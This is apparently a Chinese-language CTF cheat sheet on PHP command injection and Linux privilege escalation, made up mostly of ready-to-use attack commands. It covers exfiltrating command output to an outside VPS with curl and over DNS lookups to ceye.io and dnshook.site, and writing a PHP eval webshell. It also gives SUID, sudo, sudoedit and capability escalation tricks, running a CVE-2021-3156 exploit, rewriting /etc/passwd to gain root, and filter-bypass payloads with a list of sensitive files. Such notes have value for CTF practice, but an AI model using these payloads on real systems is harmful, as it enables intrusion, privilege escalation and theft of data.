命令执行

PHP常见用于执行系统命令的函数

system
exec
passthru
shell_exec

exec 和 shell_exec 无回显,解决方法:

  • 保存到文件

示例:

cmd=ls /|tee 1.txt
或 cmd=ls / > 1.txt
访问 url/1.txt
  • 通过 curl 外带

示例:

curl vps-ip:port/ `ls / | base64`
  • dns 外带

通过 DNS 网站 在 ping 通时传输数据
国内的网站如 CEYEDNSlog

ping `cat /flag | base64` .abcdef.ceye.io
ping `cat /flag | base64` .xxxxxxx.dnshook.site
  • 直接写马

通过 echo 命令写 php 木马,蚁剑连接

echo '<?php @eval($_POST["123"]); ?>' > 1.php
不用单引号的话就得在$前加\
  • 过滤了&,<,>,|导致不能反弹 shell

用反引号``

curl vps-ip:port/?`php%20-r%20%22echo%20base64_encode(shell_exec(%27ls%20/%27));%22`

个人收集常见指令

查看目录:ls,dir
移动目录:cd
删除文件:rm <文件名>
查看文件: cat等
复制文件:cp <文件名> <文件名>
重命名:mv <文件名> <文件名>

SUID 命令提权

https://gtfobins.github.io/ 几乎涵盖了所有可以提权的命令
寻找所有权限带 s 的命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

-user 指定文件拥有者
-perm 文件权限
-exec 执行系统命令
/usr/bin/sudo -l 列出目前用户可执行与无法执行的指令

sudo

如果sudo可用,可用sudo -l获取所有无需密码的命令
使用时在前面加sudo
如 sudo find /etc/passwd -exec cat /flag \

sudo1.8.3 提权

利用 CVE-2021-3156-plus 进行提权。
https://github.com/Rvn0xsy/CVE-2021-3156-plus

make
./exploit 'whoami'

find

find /etc/passwd -exec whoami \;
find /etc/passwd -exec cat /flag \;

date 读取文件

date -f/--file <filename>

awk

awk 'BEGIN {system("whoami")}'

sed 读取文件

sed -n '1p' /flag

vim

vim /etc/sudoers
添加你的账户
sudo bash

file 读取文件

file -f /flag

env

env /bin/sh

sudoedit

update-alternatives --config editor 查看所有可用编辑器
EDITOR="nano -- /flag" sudoedit /etc/GAMELAB
或者
EDITOR='nano -- /etc/passwd' sudoedit -- /etc/GAMELAB
将你ID的数字改成0:0,初始路径改为/root,ctrl+0保存,ctrl+x退出
tail -1 /etc/passwd

Linux 能力(capabilities)配置不当

ctf@anna8cd01c2b39_sservice:~$ getcap -r / 2>/dev/null
/usr/bin/dig cap_dac_override=ep
ctf@anna8cd01c2b39_sservice:~$ dig -f flag |grep NSSCTF
; <<>> DiG 9.18.12-0ubuntu0.22.04.1-Ubuntu <<>> NSSCTF{091cfdd2-30ec-4a2d-8bc7-416dad7eecf2}
;NSSCTF{091cfdd2-30ec-4a2d-8bc7-416dad7eecf2}. IN A

linux 管道符

; 前面执行完成后再执行后面的语句
| 直接执行后面的执行语句
|| 只有前面执行出错时才执行后面的执行语句
& 无论前面真假都执行后面的语句
&& 只有前面为真才执行后面的语句
换行符也可以
%0a、%0d、\n

绕过

关键字过滤绕过

flag 被过滤
cat /flag
cat /fla\g
cat /fla""g
cat /fla''g
cat /fl??
cat /f\*
cat /[e-h][k-m][9-b][e-h]
cat /fl$1ag
cat /fl$2ag
cat /fl$@ag
/???/?at /flag
a=g;cat /fla$a

cat 类似命令

more、less、head、tail、sort、tac、nl

空格绕过

< 、<>、%20(space)、%09(tab)、$IFS$1、$IFS$9、${IFS}、$IFS

payload 经过 base64 绕过

echo Y2F0IC9mbGFn|base64 -d|sh
`echo "Y2F0IC9mbGFn"|base64 -d`

重要文件

/proc/self/environ
/proc/1/environ
/etc/hosts
/etc/passwd
/var/log/nginx/access.log
/var/log/apache2/access.log
/proc/self/fd/3
/proc/self/cmdline
/proc/self/mounts
/flag
/var/www/html/flag.php
/var/www/html/flag.txt
/var/www/html/flag